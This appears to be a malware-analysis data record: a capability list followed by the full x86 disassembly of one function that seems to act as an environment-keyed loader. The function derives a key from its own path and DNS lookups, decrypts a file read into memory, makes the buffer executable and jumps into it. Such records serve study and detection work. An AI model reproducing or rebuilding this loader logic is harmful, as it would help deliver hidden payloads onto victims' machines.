Function at 0x68401070
Capabilities:
Create tcp socket
Create udp socket
Encode data using xor
Get file size
Get socket status
Initialize winsock library
Read file on windows
Resolve dns
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x60c
lea eax, [esp + 0x90]
lea edx, [esp + 0x158]
lea esi, [esi]
nop
mov dword [eax], 0
add eax, 8
mov dword [eax - 4], 0
cmp eax, edx
jne 0x68401090
lea esi, [esp + 0x268]
mov dword [esp + 0x160], 0x20
mov dword [esp + 0x15c], 0x88
mov dword [esp + 0x158], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], esi
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
sub esp, 0xc
cmp byte [esp + 0x268], 0
je 0x68401101
lea esi, [esi]
add eax, 1
cmp byte [esi + eax], 0
jne 0x684010f8
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.USER32.dll_CharUpperBuffA]
sub esp, 8
movzx edx, byte [esp + 0x268]
test dl, dl
je 0x6840179a
xor edi, edi
mov eax, esi
lea esi, [esi]
cmp dl, 0x5c
cmove edi, eax
movzx edx, byte [eax + 1]
add eax, 1
test dl, dl
jne 0x68401128
test edi, edi
je 0x68401706
mov byte [edi], 0
cmp byte [esp + 0x268], 0
lea ebx, [edi + 1]
jne 0x684013d9
movzx eax, byte [edi + 1]
test al, al
je 0x6840179a
xor eax, eax
lea esi, [esi]
nop
add eax, 1
cmp byte [ebx + eax], 0
jne 0x68401168
test eax, eax
je 0x6840179a
lea esi, [ebx + eax]
xor eax, eax
jmp 0x68401187
add ebx, 1
cmp esi, ebx
je 0x684011b0
movzx edx, byte [ebx]
xor byte [esp + eax + 0x90], dl
add eax, 1
cmp eax, 0x88
jne 0x68401180
lea eax, [esp + 0x90]
add ebx, 1
call fcn.68401ff0
xor eax, eax
cmp esi, ebx
jne 0x68401187
mov dword [esp + 0x158], eax
lea eax, [esp + 0x470]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
jne 0x68401676
mov dword [esp + 8], 0
mov ebx, section..rdata
xor edi, edi
mov dword [esp + 4], 2
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov dword [0x68403184], eax
mov dword [esp + 0x370], eax
add eax, 1
lea ecx, [esp + 0x168]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_select]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x36c]
mov dword [esp + 0x168], 0xa
mov dword [esp + 0x16c], 0
mov dword [esp + 0x36c], 1
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x38], eax
call eax
sub esp, 0x14
lea eax, [esp + 0x60]
mov dword [esp + 0x68], 0
lea ebp, [esp + 0x370]
mov dword [esp + 0x2c], eax
mov eax, 0xffffffff
mov dword [esp + 0x6c], 0
mov dword [esp + 0x58], 0x68404000
mov dword [esp + 0x5c], 0x13
mov dword [esp + 0x60], 0x68404015
mov dword [esp + 0x64], 0x10
mov dword [esp + 0x3c], 0
cmp al, 0xff
je 0x68401382
xor edx, edx
cmp al, 0x2d
jne 0x684012d2
movzx eax, byte [ebx + 1]
mov edx, 1
add ebx, 1
mov esi, 1
cmp al, 0x21
jne 0x684012ea
lea esi, [esi]
nop
add ebx, 1
add esi, esi
cmp byte [ebx], 0x21
je 0x684012e0
mov eax, edx
mov edx, ebx
mov ebx, eax
mov dword [esp + 0x4c], edi
xor eax, eax
mov dword [esp + eax + 0x70], edi
add eax, 4
cmp eax, 0x20
jb 0x684012f6
lea eax, [esp + 0x4c]
mov dword [esp], edx
mov dword [esp + 0xc], eax
lea eax, [esp + 0x70]
mov dword [esp + 0x34], edx
mov dword [esp + 0x74], 2
mov dword [esp + 0x78], 1
mov dword [esp + 8], eax
mov dword [esp + 4], str.http
call dword [sym.imp.WS2_32.dll_getaddrinfo]
sub esp, 0x10
test eax, eax
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x4c]
je 0x68401403
test eax, eax
jne 0x6840140b
test ebx, ebx
je 0x68401688
sub esi, 1
jne 0x684016f0
add dword [esp + 0x2c], 8
mov eax, dword [esp + 0x2c]
mov ebx, dword [eax - 8]
test ebx, ebx
je 0x6840147b
movzx eax, byte [ebx]
cmp al, 0xff
jne 0x684012c0
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 4]
test ecx, ecx
je 0x68401791
movzx eax, byte [esp + 0x3c]
mov dword [esp + 0x34], ecx
lea esi, [eax - 0xf]
xor eax, eax
nop
mov ecx, dword [esp + 0x30]
mov edx, esi
xor edx, eax
xor dl, byte [ebx + eax + 1]
mov byte [ecx + eax], dl
mov ecx, dword [esp + 0x34]
add eax, 1
cmp eax, ecx
jne 0x684013a0
mov ecx, dword [esp + 0x30]
add eax, ecx
mov byte [eax], 0
mov ebx, dword [esp + 0x30]
add dword [esp + 0x3c], 1
movzx eax, byte [esp + 0x168]
jmp 0x684012c0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
movzx eax, byte [edi + 1]
sub esp, 4
test al, al
jne 0x68401161
jmp 0x6840179a
mov eax, dword [eax + 0x1c]
test eax, eax
je 0x684012f0
cmp dword [eax + 4], 2
jne 0x68401400
mov eax, dword [eax + 0x18]
lea ebx, [esp + 0x36c]
mov eax, dword [eax + 4]
mov dword [esp + 0x36c], eax
mov eax, dword [esp + 0x158]
jmp 0x68401437
add ebx, 1
cmp ebx, ebp
je 0x68401460
movzx edx, byte [ebx]
xor byte [esp + eax + 0x90], dl
add eax, 1
cmp eax, 0x87
jle 0x68401430
lea eax, [esp + 0x90]
add ebx, 1
call fcn.68401ff0
xor eax, eax
cmp ebx, ebp
jne 0x68401437
add dword [esp + 0x2c], 8
mov dword [esp + 0x158], eax
mov eax, dword [esp + 0x2c]
mov ebx, dword [eax - 8]
test ebx, ebx
jne 0x68401377
mov eax, dword [esp + 0x158]
xor byte [esp + eax + 0x90], 6
lea eax, [esp + 0x90]
add byte [esp + 0x117], 0x80
call fcn.68401ff0
xor eax, eax
mov edx, dword [esp + eax + 0x90]
mov dword [esp + eax + 0x70], edx
add eax, 4
cmp eax, 0x20
jne 0x684014a0
xor eax, eax
mov ecx, 0x40
mov edi, ebp
mov esi, 0x6840402c
mov dword [esp + 0x36c], 0
mov edx, 0x100
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x30]
mov ecx, 0x40
lea eax, [esp + 0x168]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x74]
mov dword [esp + 0x30], eax
mov dword [esp], ecx
lea ecx, [esp + 0x70]
call fcn.684017d0
movzx edx, byte [esp + 0x168]
mov ecx, dword [esp + 0x30]
xor eax, eax
test dl, dl
je 0x68401522
lea esi, [esi]
nop
mov byte [esp + eax + 0x36c], dl
add eax, 1
movzx edx, byte [ecx + eax]
test dl, dl
jne 0x68401510
lea eax, [esp + 0x36c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x68401676
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov ebp, eax
cmp eax, 0x800000
ja 0x684017ae
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov esi, eax
test eax, eax
je 0x684017a1
xor edi, edi
test ebp, ebp
jne 0x6840163b
jmp 0x6840170d
mov ecx, dword [esp + 0x30]
add edi, dword [esp + 0x58]
mov dword [esp + 0x168], 1
mov eax, dword [0x68403184]
mov dword [esp + 8], 0
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x36c]
mov dword [esp + 0x370], eax
add eax, 1
mov dword [esp], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x16c], 0
mov dword [esp + 0x36c], 1
mov dword [esp + 0xc], ecx
mov dword [esp + 4], 0
call eax
sub esp, 0x14
cmp edi, ebp
jae 0x6840170d
lea eax, [esp + 0x58]
mov dword [esp + 0x58], 0
mov dword [esp + 0xc], eax
mov eax, ebp
sub eax, edi
mov dword [esp + 0x10], 0
mov dword [esp + 8], eax
lea eax, [esi + edi]
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
jne 0x684015d0
add esp, 0x60c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x34], edx
mov dword [esp + 0x50], 0x3c
mov dword [esp + 0x54], edi
mov eax, dword [0x68403184]
lea ecx, [esp + 0x50]
mov dword [esp + 0x36c], 1
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x36c]
mov dword [esp + 0x370], eax
add eax, 1
mov dword [esp], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
call eax
sub esp, 0x14
mov edx, dword [esp + 0x34]
jmp 0x684012f0
mov dword [esp + 0x34], edx
mov dword [esp + 0x50], 0xa
mov dword [esp + 0x54], 0
jmp 0x68401698
mov ebx, esi
jmp 0x68401161
mov dword [esp], ebx
lea ebx, [esi + 0x410]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebp
sub esp, 4
lea eax, [esp + 0x74]
lea ecx, [esp + 0x70]
mov dword [esp], eax
mov eax, esi
call fcn.684017d0
lea eax, [esp + 0x36c]
mov edx, ebx
mov dword [esp + 8], 0x20
and edx, 0x1fff
mov dword [esp + 0xc], eax
mov eax, esi
sub eax, edx
mov dword [esp + 4], 0x2000
add eax, 0x410
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp byte [esi], 0x48
je 0x6840177a
cmp byte [esi + 1], 0x45
jne 0x68401676
mov dword [esp], 1
call ebx
sub esp, 4
add esp, 0x60c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
jmp 0x684013c0
xor eax, eax
jmp 0x684011b0
mov dword [esp], 0x6d
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp], 0x6e
call dword [sym.imp.KERNEL32.dll_ExitProcess]